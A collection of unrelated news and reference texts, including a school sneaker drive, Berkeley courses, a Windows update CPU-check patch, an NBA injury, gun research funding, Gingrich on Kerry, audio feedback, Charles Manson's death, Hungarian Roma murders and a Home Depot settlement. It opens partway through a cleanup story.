left in the $5 million pot to continue the cleanup.  In terms of efficiency and safety, the project has been a success, she said.  Pallister knows there’s much more debris to be removed — but progress has been made.  “It’s not completely bleak,” he said. “There is some light way out there. It’s a flicker, but it’s out there.”
-Got Sneakers?  ATTENTION LADY CAT FANS!  The Lady Cats have teamed up with an organization called GOTSNEAKERS?, to help get needed footwear to 3rd world countries. We will be hosting a drive to collect used old sneakers that will be refurbished by this company and shipped to needy people across the world. We will have donation boxes in the front office and the gym starting on January 7th 2019. The Lady Cats will also receive a donation from the company for our participation. So now that you got those new sneakers for Christmas, please bring all your old used sneakers to WMHS! The Lady Cats need your help to reach their goal of 2000 pairs of donated sneakers. We will be collecting donations until March 1st. We have collection boxes set up in the front office and in the gym.  The Lady Cats want to thank you in advance for your donations!
-Berkeley to offer course on the ‘politics of needing to go’  Last Summer’s heated debate over North Carolina’s controversial “bathroom bill” inspired the University of California, Berkeley to devote an entire course to the “politics of needing to go.”  A course description for the four-credit class confirms that students will spend an entire semester discussing how “a public restroom is a charged social site,” addressing questions such as: “Who has access to it? Who cleans it? How have public restrooms segregated people into strict categories of gender, race, class, and ability? What does it mean for a public space to be designed for private activities? [and] Who are we socially when our bodies need to go?”  “A public restroom is a charged social site.”  Students taking the course will apparently “hone academic research skills” by writing a “substantial research paper” on the topic, earning students who successfully complete the class four academic credits, or units, as Berkeley refers to them, towards their degrees.  [RELATED: Coalition accuses Berkeley course of political indoctrination]  In fact, Berkeley students may even elect to take the class as one of the two courses needed to fulfill the school’s general “reading and composition requirement,” according to Berkeley’s academic guide.  Notably, the course will actually be taught in Berkeley’s “Theater, Dance, and Performance Studies” department, which will offer a host of courses on social issues during the approaching calendar year, including one on the “artistic, scientific, and philosophical imaginings of a sustainable society.”  That course will address concerns about the “impending climate-related apocalypse,” asking students if they can “imagine a society that would be ecologically sustainable over the long term.”  [RELATED: Berkeley students barricade bridge, forces whites to cross creek]  “Rather than focusing on ideas of large-scale collapse, this course will explore writings and media pertaining to ways of human life that don’t rely on petroleum for energy, and that cooperate with nature rather than utilize it as a resource,” a description for the theater course explains.  Students enrolled in the two-credit seminar will even have the opportunity to watch films such as Al Gore’s Inconvenient Truth, as well as Mad Max: Fury Road and Avatar, all of which “thematize ecological crisis and potential solutions.”  Campus Reform reached out to the department for comment on what relation these courses have to theater, but did not receive a response in time for publication.  Follow the author of this article on Twitter: @AGockowski
-GitHub user Zeffy has created a patch that removes a limitation that Microsoft imposed on users of 7th generation processors, a limit that prevents users from receiving Windows updates if they still use Windows 7 and 8.1.  This limitation was delivered through Windows Update KB4012218 (March 2017 Patch Tuesday) and has made many owners of Intel Kaby Lake and AMD Bristol Ridge CPUs very angry last week, as they weren't able to install any Windows updates.  Microsoft's move was controversial, but the company did its due diligence, and warned customers of its intention since January 2016, giving users enough time to update to Windows 10, move to a new OS, or downgrade their CPU, if they needed to remain on Windows 7 or 8.1 for various reasons.  When the April 2017 Patch Tuesday came around last week, GitHub user Zeffy finally had the chance to test four batch scripts he created in March, after the release of KB4012218.  His scripts worked as intended by patching Windows DLL files, skipping the CPU version check, and delivering updates to Windows 7 and 8.1 computers running 7th generation CPUs.  Patches have been open-sourced on GitHub  The four batch scripts are now available on GitHub, open-sourced and ready to be inspected, just in case anyone fears Zeffy might have disguised any malware.  According to Zeffy's README file, he created the four batch scripts by reverse engineering the KB4012218 Windows Update, and comparing versions of the new files with the ones already on his PC.  By running a simple diff operation on these files, he was able to discover two new functions "IsCPUSupported(void)" and "IsDeviceServiceable(void)" inside the March 2017 version of wuaueng.dll, delivered through KB4012218.  Zeffy's scripts patch this DLL file and make the two functions output "1", which translates to "supported CPU." This, in turn, starts the update procedure, delivering new security updates to users Microsoft wanted to block.  "The only downside of these solutions is you have to apply a new patch whenever wuaueng.dll gets updated," says Zeffy in his GitHub repo README. Fortunately, the entire task doesn't take long to complete.  Bleeping Computer hasn't tested Zeffy's patch because we don't have a 7th-gen CPU on hand. It's recommended that you create a system restore point and save a copy of the original wuaueng.dll file just in case things go horribly wrong.
-Veteran Timberwolves center Nikola Pekovic has been ruled out for the season, and now has admitted that retirement may be in the cards for him. Pekovic, who will turn 31 next week, acknowledged during a press conference in Serbia that his health issues could make it impossible for him to return to the court, according to a Mondo.rs report (translation via Emiliano Carchia of Sportando).  “For two years I have struggled with this injury,” Pekovic said of his troublesome ankle and Achilles. “I have been mentally exhausted. This year I went to Minneapolis for two months and I did everything possible to return to the court, but there are times when you simply can’t. I can’t run without pain.”  Pekovic had a couple very productive seasons for the Timberwolves in 2012/13 and 2013/14, averaging 16.9 PPG and 8.7 RPG in 116 games during that stretch. However, he has long been plagued by injuries, having never appeared in more than 65 games in a season. Last year, Pekovic played just 12 times before being shut down, and before training camp this year, Wolves owner Glen Taylor confirmed that the veteran big man wouldn’t play for the team in 2016/17, though he remains on the 15-man roster.  The Wolves are currently on the hook for $12.1MM this season for Pekovic, and $11.6MM in 2017/18. However, the situation is somewhat similar to Chris Bosh‘s in Miami. As of January 31, if Pekovic is ruled medically ineligible to play by a doctor jointly approved by the NBA and NBPA, the team could get salary cap relief for his contract. Pekovic would still earn the remaining salary on his contract, but Minnesota would be able to wipe the deal from its books for cap purposes.  For now, there’s no rush for either side to make a final decision, but as January 31 nears, we’ll likely get a better idea of what the plan is for Pekovic and the Wolves.
-On Thursday, the California Legislature allocated $5 million toward the creation of a new research center dedicated to providing data on the efficacy of current gun control laws.  The proposal to create the center, whose $5 million funding will be apportioned over a five-year period, was part of a larger “trailer” bill that was a component of the new state budget. That bill — SB 1006 — was introduced in January by state Sen. Lois Wolk, D-Davis, who stressed the importance of increasing the role of hard science in the gun control debate.  “I’ve been in the Legislature for many years, and I believe that research leads to better policies,” Wolk said. “We have lots of strong opinions but not a lot of data.”  Wolk said the bill received overwhelming support from both sides of the aisle, as well as from law enforcement. She added that the main opponents of the measure were the National Rifle Association and other gun-advocacy groups.  According to UC spokesperson Claire Doan, the specific details of the center’s creation — including where it will ultimately be located — are yet to be determined.  “The University of California is appreciative of the state funding, which comes on the heels of the Orlando tragedy,” Doan said in an email. “(It) underscores our need to better understand the impact of firearm violence.”  According to Craig Reynolds, Wolk’s chief of staff, the research center will be located at a UC campus to be selected by UC President Janet Napolitano with funding coming from the state’s General Fund. Reynolds noted that the legislation also allows the center to provide small grants to researchers at any UC campus.  Daniel Acland, a UC Berkeley assistant adjunct professor of public policy, said the “primary theory” on strict gun control laws is that they would help prevent dangerous people from getting guns more than they would deter such people from trying to acquire guns in the first place. He conjectured that the effectiveness of laws like background checks likely varies, hinging on the reasons individuals have for wanting to arm themselves.  “My educated guess is that whether gun control laws would dissuade someone from getting a gun illegally would depend on their motivation,” Acland said. “For someone who says, ‘I’m going to kill 50 people in a gay nightclub,’ they would probably keep trying to get a gun regardless of the law.”  The fact that the Orlando nightclub shooting coincided with the vote on the gun research bill was “a terrible, terrible coincidence,” Wolk said, though she added that the incident undoubtedly called attention to the urgency of legislative reform.  According to Wolk, federal study on the effects of gun control laws has been lacking since 1996 when the Centers for Disease Control and Prevention halted their research on the subject because of pressure from Congress and pro-gun organizations. She highlighted that, in light of this lack of “sound data” on gun control, the research center was particularly vital.  “We need to bring the power of science into the discussion,” she said.  Logan Goldberg is the executive news editor. Contact him at [email protected] and follow him on Twitter at @logangoldberg.
-Former Republican Speaker of the House Newt Gingrich took to Twitter to call for Secretary of State John Kerry to resign for calling global warming the “world’s most fearsome weapon of mass destruction.”  Gingrich, a failed Republican presidential candidate, tweeted out his disgust with Kerry’s comments (Note: He spells Kerry’s name wrong in the tweets):  Does kerrey really believe global warming more dangerous than north Korean and iranian nukes? More than Russian and Chinese nukes? Really? ? — Newt Gingrich (@newtgingrich) February 18, 2014  On his trip to Indonesia, Kerry said that global warming is “the world’s largest weapon of mass destruction” and particularly harms low-lying countries that are at risk from rising sea levels.  “This city, this country, this region, is really on the front lines of climate change,” Kerry said in a speech in Jakarta, one of several in a series of speeches planned throughout this year.  “It’s not an exaggeration to say that your entire way of life here is at risk,” Kerry added. “In a sense, climate change can now be considered the world’s largest weapon of mass destruction, perhaps even, the world’s most fearsome weapon of mass destruction.”  Kerry has been playing up the national security angle of global warming since at least 2009, during his Senate years, when congressional Democrats were trying to pass a cap-and-trade bill. Kerry told The New York Times that he touted the national security concerns of global warming as a way to lure Republicans to support the bill.  But Gingrich, a longtime Republican, is not buying it.  Every American who cares about national security must.demand Kerrey’s resignation.A delusional secretary of state is dangerous to our safety — Newt Gingrich (@newtgingrich) February 18, 2014  Gingrich ended his Twitter rant by apologizing to former Nebraska Governor and Senator Bob Kerrey for the misspelling of Sec. Kerry’s name.  I apologize to bob kerrey for spelling john kerry’s name as though he were bob’s relative. Callista caught my error. Please edit to kerry — Newt Gingrich (@newtgingrich) February 18, 2014  In a 2008 ad with House Minority Leader Nancy Pelosi for Al Gore’s We Can Solve it campaign, Gingrich introduced himself as “lifelong Republican” who “used to be speaker,” saying “our country must take action to address climate change.” (Gingrich on global warming ad with Pelosi: ‘The dumbest single thing I’ve done in years’)  Kerry’s remarks come after the Obama administration submitted their proposal to the United Nations for an international climate agreement for the next round of negotiations in 2015. The administration’s proposal would have countries impose domestic policies to cut emissions.  “We simply don’t have time to let a few loud interest groups hijack the climate conversation,” Kerry said, adding that “big companies” that “don’t want to change and spend a lot of money” to stop global warming are behind the pushback.  Most importantly, Kerry stressed that other nations do not “get a free pass” in the fight against global warming, despite industrialized nations being most responsible for emissions.  “They don’t have a right to go out and repeat the mistakes of the past,” Kerry argued. “At the end of the day, emissions coming from anywhere in the world, threaten the future of everyone in the world.”  One of the biggest sticking points for other industrialized countries signing onto a climate agreement to replace the Kyoto Protocol was that large developing countries were not required to cut carbon dioxide emissions — virtually undoing the efforts of rich countries that cut emissions. The Obama administration’s climate proposal would bind some developing countries, like China and India to the same carbon emissions reduction targets as industrialized nations.  Obama’s proposed international climate deal would also not require any congressional approval to implement, since it’s already being done in the U.S. through executive orders.  “So this is just the latest example of President Obama’s contempt for obeying the Constitution and our laws,” Myron Ebell, director of the Center of Energy and Environment at the Competitive Enterprise Institute, told The Daily Caller News Foundation. “In the past, rulers who act as if the law does not apply to them were called tyrants.”  Follow Michael on Twitter and Facebook  Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.  Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.
-Audio feedback Problems playing this file? See media help.  [1] "Block diagram of the signal-flow for a common feedback loop."  Audio feedback (also known as acoustic feedback, simply as feedback, or the Larsen effect) is a special kind of positive loop gain which occurs when a sound loop exists between an audio input (for example, a microphone or guitar pickup) and an audio output (for example, a power amplified loudspeaker). In this example, a signal received by the microphone is amplified and passed out of the loudspeaker. The sound from the loudspeaker can then be received by the microphone again, amplified further, and then passed out through the loudspeaker again. The frequency of the resulting sound is determined by resonance frequencies in the microphone, amplifier, and loudspeaker, the acoustics of the room, the directional pick-up and emission patterns of the microphone and loudspeaker, and the distance between them. For small PA systems the sound is readily recognized as a loud squeal or screech. The principles of audio feedback were first discovered by Danish scientist Søren Absalon Larsen, hence the name "Larsen Effect".  Feedback is almost always considered undesirable when it occurs with a singer's or public speaker's microphone at an event using a sound reinforcement system or PA system. Audio engineers use highly directional cardioid microphones and various electronic devices, such as equalizers and, since the 1990s, automatic feedback detection devices to prevent these unwanted squeals or screeching sounds, which detract from the audience's enjoyment of the event. On the other hand, since the 1960s, electric guitar players in rock music bands using loud guitar amplifiers, speaker cabinets and distortion effects have intentionally created guitar feedback to create different sounds including long sustained tones that cannot be produced using standard playing techniques. The sound of guitar feedback is considered to be a desirable musical effect in heavy metal music, hardcore punk and grunge. Jimi Hendrix was an innovator in the intentional use of guitar feedback, alongside effects units such as the Univibe and wah-wah pedal in his guitar solos to create unique sound effects and musical sounds.  History and theory [ edit ]  The conditions for feedback follow the Barkhausen stability criterion, namely that, with sufficiently high gain, a stable oscillation can (and usually will) occur in a feedback loop whose frequency is such that the phase delay is an integer multiple of 360 degrees and the gain at that frequency is equal to 1. If the small signal gain is greater than 1 for some frequency then the system will start to oscillate at that frequency because noise at that frequency will be amplified. Sound will be produced without anyone actually playing. The sound level will increase until the output starts clipping, reducing the loop gain to exactly unity. This is the principle upon which electronic oscillators are based; although in that case the feedback loop is purely electronic, the principle is the same. If the gain is large, but slightly less than 1, then high-pitched slowly decaying feedback tones will be created, but only when at least some input sound is already being sent through the system, such as through a microphone.  Early academic work on acoustical feedback was done by Dr. C. Paul Boner. Boner reasoned that when feedback happened, it did so at one precise frequency. He also reasoned that it could be stopped by inserting a very narrow notch filter at that frequency in the loudspeaker's signal chain.[2] He worked with Gifford White, founder of White Instruments to hand craft notch filters for specific feedback frequencies in specific rooms. Boner was responsible for establishing basic theories of acoustic feedback, room-ring modes, and room-sound system equalizing techniques.[3]  Distance [ edit ]  To maximize gain before feedback, the amount of sound energy that is fed back to the microphones must be reduced as much as is practical. As sound pressure falls off with 1/r with respect to the distance r in free space, or up to a distance known as reverberation distance in closed spaces (and the energy density with 1/r²), it is important to keep the microphones at a large enough distance from the speaker systems. As well, microphones should not be positioned in front of speakers and individuals using mics should be asked to avoid pointing the microphone at speaker enclosures.  Directivity [ edit ]  Additionally, the loudspeakers and microphones should have non-uniform directivity and should stay out of the maximum sensitivity of each other, ideally at a direction of cancellation. Public address speakers often achieve directivity in the mid and treble region (and good efficiency) via horn systems. Sometimes the woofers have a cardioid characteristic.  Professional setups circumvent feedback by placing the main speakers a far distance from the band or artist, and then having several smaller speakers known as monitors pointing back at each band member, but in the opposite direction to that in which the microphones are pointing. This allows independent control of the sound pressure levels for the audience and the performers.  If monitors are oriented at 180 degrees to the microphones that are their sources, the microphones should have a cardioid pickup pattern. Super- or hypercardioid patterns are suitable if the monitor speakers are located at a different angle on the back side of the microphones, they also better cancel reverberations coming from elsewhere. Almost all microphones for sound reinforcement are directional.  Frequency response [ edit ]  Almost always, the natural frequency responses of sound reinforcement systems is not ideally flat. This leads to acoustical feedback at the frequency with the highest loop gain, which may be much higher than the average gain over all frequencies (resonance). It is therefore helpful to apply some form of equalization to reduce the gain of this frequency.  Feedback can be reduced manually by "ringing out" a sound system prior to a performance. The sound engineer can increase the level of a microphone or guitar pickup until feedback occurs. The engineer can then attenuate the relevant frequency on an equalizer preventing feedback at that frequency but allowing sufficient volume at other frequencies. Many professional sound engineers can identify feedback frequencies by ear but others use a real time analyzer to identify the ringing frequency.  To avoid feedback, automatic anti-feedback devices can be used. (In the marketplace these go by the name "feedback destroyer" or "feedback eliminator".) Some of these work by shifting the frequency slightly, with this upshift resulting in a "chirp"-sound instead of a howling sound of unaddressed feedback. Other devices use sharp notch-filters to filter out offending frequencies. Adaptive algorithms are often used to automatically tune these notch filters.  Deliberate uses [ edit ]  Electric guitarist Jimi Hendrix , pictured here in a 1967 concert, was an innovator in the use of guitar feedback effects.  To intentionally create feedback, an electric guitar player needs a guitar amplifier and a loudspeaker cabinet, with very high gain (amplification) and/or the guitar brought near the speaker. The guitarist then allows the open strings to vibrate freely and brings the guitar close to the speaker enclosure of the guitar amp. The use of distortion effects units also facilitates the creation of intentional feedback.  Early examples in popular music [ edit ]  A deliberate use of acoustic feedback was pioneered by Blues and Rock'n'Roll guitarists such as Willie Johnson, Johnny Watson and Link Wray. According to AllMusic's Richie Unterberger, the very first use of feedback on a commercial rock record is the introduction of the song "I Feel Fine" by the Beatles, recorded in 1964.[4] Jay Hodgson agrees that it was the first chart-topper to showcase feedback distortion, created by John Lennon leaning a semi-acoustic guitar against an amplifier.[5] The Who's 1965 hits "Anyway, Anyhow, Anywhere" and "My Generation" featured feedback manipulation by Pete Townshend, with an extended solo in the former and the shaking of his guitar in front of the amplifier to create a throbbing noise in the latter. Canned Heat's "Fried Hockey Boogie" (off of their 1968 album Boogie with Canned Heat) also featured guitar feedback produced by Henry Vestine during his solo to create a highly amplified distorted boogie style of feedback. In 1963, the teenage Brian May and his father custom-built his signature guitar Red Special, which was purposely designed to feed back.[6][7]  Feedback was used extensively after 1965 by the Monks,[8] Jefferson Airplane, the Velvet Underground and the Grateful Dead, who included in many of their live shows a segment named Feedback, a several-minutes long feedback-driven improvisation. Feedback has since become a striking characteristic of rock music, as electric guitar players such as Jeff Beck, Pete Townshend, Dave Davies, Steve Marriott and Jimi Hendrix deliberately induced feedback by holding their guitars close to the amplifier's speaker. Lou Reed created his 1975 album Metal Machine Music entirely from loops of feedback played at various speeds. An example of feedback can be heard on Hendrix's performance of "Can You See Me?" at the Monterey Pop Festival. The entire guitar solo was created using amplifier feedback.[9]  Introductions, transitions, and fade-outs [ edit ]  In addition to "I Feel Fine", feedback was used on the introduction to songs including Jimi Hendrix's "Foxy Lady", the Beatles' "It's All Too Much", Hendrix's "Crosstown Traffic", David Bowie's "Little Wonder", the Strokes's "New York City Cops", Ben Folds Five's "Fair", Midnight Juggernauts's "Road To Recovery", Nirvana's "Radio Friendly Unit Shifter", the Jesus and Mary Chain's "Tumbledown" and "Catchfire", the Stone Roses's "Waterfall", Porno for Pyros's "Tahitian Moon", Tool's "Stinkfist", and the Cure's "Prayer For Rain".[10] Examples of feedback combined with a quick volume swell used as a transition include Weezer's "My Name Is Jonas" and "Say It Ain't So"; The Strokes' "Reptilia", "New York City Cops", Dream Theater's As I Am, and "Juicebox"; as well as numerous tracks by Meshuggah and Tool.[11]  Cacophonous feedback fade-outs ending a song are most often used to generate rather than relieve tension, often cross-faded too after a thematic and musical release. Examples include Modwheelmood's remix of Nine Inch Nail's "The Great Destroyer"; and the Jesus and Mary Chain's "Teenage Lust", "Tumbledown", "Catchfire", "Sundown", and "Frequency".[12]  Examples in modern classical music [ edit ]  Though closed circuit feedback was a prominent feature in many early experimental electronic music compositions, it was contemporary American composer Robert Ashley who first used acoustic feedback as sound material in his work The Wolfman (1964). Steve Reich makes extensive use of audio feedback in his work Pendulum Music (1968) by swinging a series of microphones back and forth in front of their corresponding amplifiers.[13] Hugh Davies [14] and Alvin Lucier [15] both use feedback in their works. More recent examples can be found in the work of for example Lara Stanic,[16] Paul Craenen,[17] Anne Wellmer,[18] Adam Basanta,[19] Lesley Flanigan,[20] Ronald Boersen [21] and Erfan Abdi.[22].  Pitched feedback [ edit ]  Pitched melodies may be created entirely from feedback through changing the angle between a guitar and amplifier after establishing a feedback loop. Examples include Tool's "Jambi", Robert Fripp's guitar on David Bowie's "Heroes" (album version), and Jimi Hendrix's "Third Stone From The Sun" and his live performance of "Wild Thing" at the Monterey Pop Festival.[23]  Regarding Fripp's work on "Heroes":  Fripp [stood] in the right place with his volume up at the right level and getting feedback...Fripp had a technique in those days where he measured the distance between the guitar and the speaker where each note would feed back. For instance, an 'A' would feed back maybe at about four feet from the speaker, whereas a 'G' would feed back maybe three and a half feet from it. He had a strip that they would place on the floor, and when he was playing the note 'F' sharp he would stand on the strip's 'F' sharp point and 'F' sharp would feed back better. He really worked this out to a fine science, and we were playing this at a terrific level in the studio, too. Tony Visconti[24]  Contemporary uses [ edit ]  Audio feedback became a signature feature of many underground rock bands during the 1980s. American noise-rockers Sonic Youth melded the rock-feedback tradition with a compositional/classical approach (notably covering Reich's "Pendulum Music"), and guitarist/producer Steve Albini's group Big Black also worked controlled feedback into the makeup of their songs. With the alternative rock movement of the 1990s, feedback again saw a surge in popular usage by suddenly mainstream acts like Nirvana, the Red Hot Chili Peppers, Rage Against the Machine and the Smashing Pumpkins.  Devices [ edit ]  The Boss DF-2 Super Feedbacker and Distortion pedal (on the left) helps electric guitarists to create feedback effects.  The principle of feedback is used in many guitar sustain devices. Examples include handheld devices like the EBow, built-in guitar pickups that increase the instrument's sonic sustain, string drivers mounted on a stand such as the Guitar Resonator, and sonic transducers mounted on the head of a guitar. Intended closed-circuit feedback can also be created by an effects unit, such as a delay pedal or effect fed back into a mixing console. The feedback can be controlled by using the fader to determine a volume level. The Boss DF-2 Super Feedbacker and Distortion pedal is an electronic effect unit that helps electric guitarists to create feedback effects.  See also [ edit ]
-Manson and his ‘family’ became notorious for the murder of Sharon Tate and six others during the summer of 1969  Charles Manson, the pseudo-satanic sociopath behind a string of killings that shocked California out of its late 1960s cultural reverie, died on Sunday after almost a half century in prison.  The 83-year-old, who died of natural causes, had been serving multiple life sentences in state prison in Corcoran, California, for orchestrating the violence in 1969 that claimed the lives of Sharon Tate, the heavily pregnant wife of film director Roman Polanski, and six others.  While his death prompted the inevitable and renewed questioning around why his grim notoriety had been so enduring, Michele Hanisee, president of the Association of Deputy District Attorneys for Los Angeles County, said: “Today, Manson’s victims are the ones who should be remembered and mourned on the occasion of his death.”  She went on to quote the late Vincent Bugliosi, the prosecutor who put Manson behind bars, who had said: “Manson was an evil, sophisticated conman with twisted and warped moral values.”  Quick guide A quick guide to Charles Manson Show Hide Who was Charles Manson? Charles Manson was one of the most notorious murderers of the 20th century. He led a cult known as the Manson Family in California, most of whom were disaffected young women. Some became killers under his messianic influence. Murder from afar Despite spending more than 40 years in prison for the murders of seven people in 1969, Manson did not carry out the killings. Instead he convinced members of his ‘family’ to murder. One of their victims was the actor Sharon Tate, who was married to Roman Polanski and was more than eight months' pregnant when she was killed. Celebrity friends By the time of his trial in 1971, Manson had spent half of his life in correctional institutions for various crimes. He became a singer-songwriter before the Tate murders and got a break in the music industry when he met Beach Boys' Dennis Wilson, who let him crash at his home. Helter Skelter It is believed that Manson intended using the murders to incite an apocalyptic race war he called Helter Skelter, taking the name from the Beatles song. Notorious by name The killings and the seven-month trial that followed were the subjects of fevered news coverage in the US. Manson occupied a dark, persistent place in American culture, inspiring music, T-shirts and half the stage name of musician Marilyn Manson. Photograph: Los Angeles Times  As the leader of a cult known as the Manson Family, Manson had instructed his followers, made up mostly of disaffected young women, to carry out the killings. The brutality of the murders set Los Angeles on edge, and ended the sunny optimism of the 60s counterculture and its aspirations to a new society built on peace and love. Manson presented himself as a demonic force: at trial, he carved a Nazi swastika into his forehead.  The five received the death penalty but were spared when capital punishment was temporarily abolished following a ruling by the supreme court in 1972.  Manson and three female followers, Susan Atkins, Patricia Krenwinkel and Leslie Van Houten, were convicted of murder and conspiracy to murder. Another defendant, Charles “Tex” Watson, was convicted later.  The second summer of Charles Manson: why the cult murders still grip us Read more  Tate, the wife of Polanski, who was out of the country the night of her murder, was eight and a half months pregnant when Manson’s followers broke into her home in Los Angeles. They stabbed and shot Tate and her visitors, Jay Sebring, Voytek Frykowski, coffee heiress Abigail Folger and Steven Parent. The word “Pig” was written in blood on the front door. Tate, who had starred in The Valley of the Dolls, was stabbed 16 times, and an “X” was carved into her stomach.  The next night, his followers murdered couple Leno and Rosemary LaBianca.  Although the followers committed the murders, Manson had ordered them. At the LaBianca home, he tied up the couple before leaving others to carry out the killings.  After his death on Sunday night, Tate’s sister Debra told NBC: “One could say I’ve forgiven them, which is quite different than forgetting what they are capable of. It is for this reason I fight so hard to make sure that each of these individuals stays in prison until the end of their natural days.”  In the 2004 book Sharon Tate Recollection, Polanski wrote: “Even after so many years, I find myself unable to watch a spectacular sunset or visit a lovely old house or experience visual pleasure of any kind without instinctively telling myself how much she would have loved it all.”  Prosecutors at the time said Manson and his cult were trying to spark a race war that he believed was foretold in the Beatles song Helter Skelter, and hoped the Black Panthers would be blamed for the killings.  Before the murders, Manson spent most of his teens and 20s in and out of prison, and he later became a singer-songwriter. He got a break in the music industry when he met the Beach Boys drummer Dennis Wilson. The group later recorded Never Learn Not to Love, which Manson had written.  Facebook Twitter Pinterest Manson in a 2017 California department of corrections photo. Photograph: Reuters  He became friends with the Byrds producer Terry Melcher (the son of Doris Day) and even recorded 13 folksy songs for an album that eventually was titled Lie: The Love and Terror Cult; it was released in March 1970 to help pay for his defense.  Manson had established himself as a would-be cult leader in the Haight-Ashbury district of San Francisco. He took a handful of followers, some of whom would later be convicted in the killings, to the old Spahn Movie Ranch north of LA and turned it into a hedonistic commune.  Van Houten, the youngest member of the original Manson Family, later said that Manson had used sex, LSD, Bible readings, repeated playing of the Beatles’ White Album and rambling lectures about triggering a revolution to brainwash her.  Van Houten, 68, was convicted of the killings of Leno and Rosemary LaBianca. She was recommended for parole in September but California’s governor, Jerry Brown, has yet to approve the recommendation. He rejected an earlier decision, concluding that Van Houten posed “an unreasonable danger to society if released from prison”.  In June, officials denied a parole request by Krenwinkel, the state’s longest-serving female prisoner, after her attorney said she had been abused by Manson or another person. She has been denied parole multiple times in the past.  Manson’s lawyer, Irving Kanarek, claimed his client was innocent during a 2014 interview with the Guardian. “No question he was legally innocent. And, more than that, he was actually innocent,” Kanarek said, arguing that there was no evidence connecting him to the case.  At a 2012 parole hearing, which was denied, Manson was quoted as having said to one of his prison psychologists: “I’m special. I’m not like the average inmate. I have spent my life in prison. I have put five people in the grave. I am a very dangerous man.”  Charles Manson – a life in pictures Read more  According to the LA Times, Manson committed hundreds of rules violations while being held at the Corcoran state prison, including assault, repeated possession of a weapon and threatening staff. Officials said he has spat in guards’ faces, started fights, tried to cause a flood and set his mattress ablaze.  In 2014, Manson and Afton Elaine Burton, a 26-year-old Manson devotee, were granted a marriage license, but it expired before the two could marry. She had faithfully visited him in prison for seven years. Manson had been denied parole 12 times, with his next hearing set for 2027.  His death is unlikely to end interest in his crimes. Quentin Tarantino is believed to be preparing a film that uses the murders as a backdrop for its main plot, and an adaptation of Emma Cline’s bestselling 2016 novel, The Girls, is on the way.  Writer Joan Didion interviewed Linda Kasabian, the Manson family member who acted as a lookout in the Tate and LaBianca killings and later gave evidence at the trial, and described the atmosphere in Hollywood in an essay from her collection The White Album (1979).  “Everything was unmentionable but nothing was unimaginable…” Didion wrote. “A demented and seductive vortical tension was building in the community. The jitters were setting in. I recall a time when the dogs barked every night and the moon was always full.  “I remember that no one was surprised.”  Reached at home in Manhattan, Didion, 82, told the Guardian: “Manson’s legacy was never obvious to me. It wasn’t obvious when I went to talk with Linda Kasabian, and it isn’t obvious to me now. But I do find it easy to put him from my mind.”  In 2008, California officials ordered the search of a deserted ranch in Death Valley where Manson and his family briefly resided. The search turned up no evidence of human remains.  Manson may be gone but the persistence of his dark vision endures. “I am crime,” he proclaimed in a telephone call to the New York Post from prison in the mid-2000s.
-BUDAPEST (Reuters) - Three serial killers who targeted members of Hungary’s Roma minority in 2008 and 2009 were jailed for life on Tuesday, the state news agency MTI reported on Tuesday.  The 18 months of violence, in which six people, including a small child, were killed and several more were injured, highlighted Hungary’s difficulties in integrating its 500,000-strong Roma population. The killers were caught in August 2009.  The killings came at a time when Hungary, a landlocked central European nation of 10 million, underwent economic and political crisis. Its gross domestic output plummeted, its government collapsed and the far-right Jobbik party rose to prominence.  The three perpetrators were Zsolt Peto and the brothers Istvan Kiss and Arpad Kiss, militants with skinhead pasts from eastern Hungary.  The country’s top court passed the harshest possible sentence for a crime that a judge at a lower court said was a showcase to demonstrate that racist murders would incur the toughest penalties.  A fourth accomplice, Istvan Csontos, who drove the murderers on their criminal outings, got a 13-year sentence last year.  The string of murders played out gradually, with the country slowly realizing that the perpetrators were the same people following a racist ideology. Several people, including Roma, were erroneously detained at early stages for the first attacks.  After several non-lethal attacks they committed their first murder in November 2008, killing two people.  In February 2009 they struck in Tatarszentgyorgy, central Hungary, setting a house on fire and shooting a 28-year-old Roma man and his 5-year old son who were fleeing the flames in what became the single most gruesome of the attacks.  The long trial inspired a documentary, titled Sentence in Hungary. Its director Eszter Hajdu told the news web site Origo that she hoped the film would forge unity among the Roma.  “I kept wondering why Jews like to watch Holocaust movies,” she said. “While making this film I understood it taught vigilance and lead to emancipation.”  “After this film it will no longer be possible to engage in a good old round of Roma bashing.”
-LOS ANGELES, CA - JULY 27: A job seeker listens to The Home Depot recruiter Andrew Rodriguez at the Diversity Job Fair during the NAACP's 102nd annual national convention at the Los Angeles Convention Center on July 27, 2011 in Los Angeles, California. California's state unemployment rate for June rose slightly to 11.8 percent, even as employers added workers. (Photo by Kevork Djansezian/Getty Images)  Home Depot has agreed to pay a former cashier $100,000 for firing her while she was on unpaid leave battling cancer.  Judy Henderson, who started working for Home Depot in Maryland in 1997, was fired in 2010 after notifying the company that she would extend her sick leave longer than expected because of a cancerous tumor. The company cited a seasonal slowdown as the reason for terminating Henderson, but not before hiring a new cashier to replace her.  Under the settlement reached Tuesday, Home Depot will be forced to pay Henderson $100,000 and also give anti-discrimination training to employees at the company, according to court documents.  Stephen Holmes, a Home Depot spokesman, said in an email to The Huffington Post that the Atlanta-based retailer does not admit any wrongdoing in its recent settlement with Henderson.  “We ... do not believe we violated the law with respect to Ms. Henderson, as we have accommodated her on numerous occasions in different ways throughout her thirteen years of employment -- including four and half years of cumulative leave,” Holmes added.  Home Depot isn’t the only retailer that has faced allegations it illegally dismissed disabled staff. Several years ago, a Wal-Mart employee who suffered from a heart condition that causes shortness of breath and difficulty walking was denied a handicap parking space and then fired when he filed a complaint.  Workplace discrimination cases have risen to record levels in the U.S., according to a government study released earlier this year. In 2011, the U.S. Equal Employment  Opportunity Commission received an all-time annual high of 99,947 complaints alleging worker discrimination. About 26 percent charged employers with discriminating on the basis of a disability.  Compared with other industrialized nations, the U.S. has a poor track record when it comes to accommodating disabled workers. A 2009 study of 22 “rich countries” found the U.S. is the only one that does not provide paid sick leave for a worker undergoing a 50-day cancer treatment. It is also one of only three rich nations that does not give paid leave to a worker missing 5 days because of the flu.  Recent efforts that aim to force private companies to grant employees more paid sick time have met with limited success.  (Hat tip: the Atlanta Journal Constitution.)
